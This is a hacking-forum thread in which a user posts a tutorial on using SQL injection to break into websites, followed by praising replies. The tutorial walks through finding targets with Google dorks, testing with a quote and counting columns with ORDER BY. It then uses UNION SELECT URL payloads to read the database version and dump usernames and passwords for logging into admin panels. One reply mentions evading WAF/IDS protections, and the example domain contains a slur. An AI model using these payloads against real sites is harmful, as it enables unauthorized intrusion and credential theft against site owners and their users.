[Nefarious]

Note, I was drunk when I wrote this. (So was Oni)

Kirito's SQL Injection Tutorial.

I will be teaching you how to use SQL Injections to infiltrate a website.
Before we begin, you should do some reading about SQL

and SQL Injections.

A SQL injection attack consists of insertion or

"injection" of a SQL query via the input data from the

client to the application. A successful SQL injection

exploit can read sensitive data from the database,

modify database data (Insert/Update/Delete), execute

administration operations on the database (such as

shutdown the DBMS), recover the content of a given file

present on the DBMS file system and in some cases issue

commands to the operating system. SQL injection attacks

are a type of injection attack, in which SQL commands

are injected into data-plane input in order to effect

the execution of predefined SQL commands.

Source.

Finding a target

Okay, so first we must already have a
target. We can use google dorks to find one

Code:

Inurl:admin.php?p= Inurl:contact.php?ID= inurl:help.php?id=

Testing the site for vulns.

Once you have found a webpage that may be vulnerable you will need to test it.

You can do so by adding a

Code:

'

after the last number in the URL like so.

Code:

http://www.nignog.com/contact.php?id=46'

If you get a error similar to this, that means the site is vulnerable, and we can exploit it.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Finding the column count

Now we need to find out the amount of columns the website has.
To do this we will use the ORDER BY statement.

Code:

http://www.nignog.com/contact.php?id=46 order by 1/* no error http://www.nignog.com/contact.php?id=46 order by 2/* no error http://www.nignog.com/contact.php?id=46 order by 3/* no error http://www.nignog.com/contact.php?id=46 order by 4/* no error http://www.nignog.com/contact.php?id=46 order by 5/* error

That means there are four columns.

Check the UNION function.

Union allows you to select more data in one SQL statement. (If I'm wrong shoot me.)

So now we will do this.

Code:

http://www.nignog.com/contact.php?id=46 Union all select 1,2,3,4/*

If there are numbers on the screen that means the Union works.

Getting the MySQL version.

Code:

http://www.nignog.com/contact.php?id=46 Union select all 1,2,3,4/*

if /* doesn't work, try

Code:

--

.

So pretend the number three is on screen.
Now we will replace the number three with @@version

Code:

http://www.nignog.com/contact.php?id=46 Union all select 1,2,@@version,4/*

You should now have a version number, something similar too.

4.13.37

Getting table and column names

We will need to guess the table names now.
Some common table names are: admins,users,members,emails,user.
Common column names: users,user,password,pass, etc.

Code:

http://www.nignog.com/contact.php?id=46 Union all select 1,2,3,4 from tablename/*

If you see the number three again, that means the table exists.

Now we need to get the column name, to do so we do this.

Code:

http://www.nignog.com/contact.php?id=46 Union all select 1,2,user,4 from tablename/*

If usernames are displayed then it works, if a error occurs try another column.
If the names displayed you would then look for emails, passwords, etc.

Now we want to get the usernames and passwords at the same time, to do this we use concat. (Basically it joins the strings)

Code:

http://www.nignog.com/contact.php?id=46 Union all select 1,2,concat(username,0x3a,password),4 from tablename/*

0x3a is the value for

Code:

:

Now you should get the username and password in a nice format.
Example:

Code:

Kirito:Three

Now you can login to the admin panel, have fun, good luck, don't die.

I hope you enjoyed the tutorial.

For the haters:
I don't care what you have to say, I'll probably report your post.

[Oni]

You said you were making a tutorial on Havij. This isn't Havij. I wanted a Havij tutorial.

Spoiler:

I'm kidding. Nice job. Much better than another Havij tutorial.

[BreShiE]

So you're saying this tutorial only works for MySQL?

[Feat]

Very nice tutorial kirito, keep up these great tuts.

[Nefarious]

Very nice tutorial kirito, keep up these great tuts.

Thanks.
I plan on making more.

[yokai_old]

I don't get why you'd essentially repost a slimmed down, OWASP, but let's make it clear that ticks (') [%27] are not the ONLY way to validate a vuln; there can also be false positives...also, it's good to be familar with terminology, such as stacked queries or " if /* doesn't work, try ---" <--- these are known as delimiters. There are also many different types of dbms you may run into; from mysql/mysqli to ms access to oracle, ldap, and so on so forth. It is also important to to be familar with why a vuln exists, basically, the proper way to do sql injection is to know sql..

Some basic links to expand knowledge (including the one you first included)

https://www.owasp.org/index.php/SQL_Injection
https://www.owasp.org/index.php/Guide_to_SQL_Injection
https://www.owasp.org/index.php/Blind_SQL_Injection
https://www.owasp.org/index.php/Reviewin..._Injection
http://www.blackhatlibrary.net/SQL_injection

I would read over these several times, the main purpose of manual sql injection (in my opinon) is incase your tool such as sqlmap fails, due to WAF/IDS/etc; you can either modify the SQLmap files to comply or you can manually inject.

[Reaper_SL]

Thanks for posting this man. .

[Blue]

Thank you a lot. I learned a lot about Manual SQL inject with this. Only if I could have some success.

[Nefarious]

Thanks for posting this man. .

Thank you a lot. I learned a lot about Manual SQL inject with this. Only if I could have some success.

I'm glad you guys found it useful!

[Nefarious]

Bumping, this needs more views!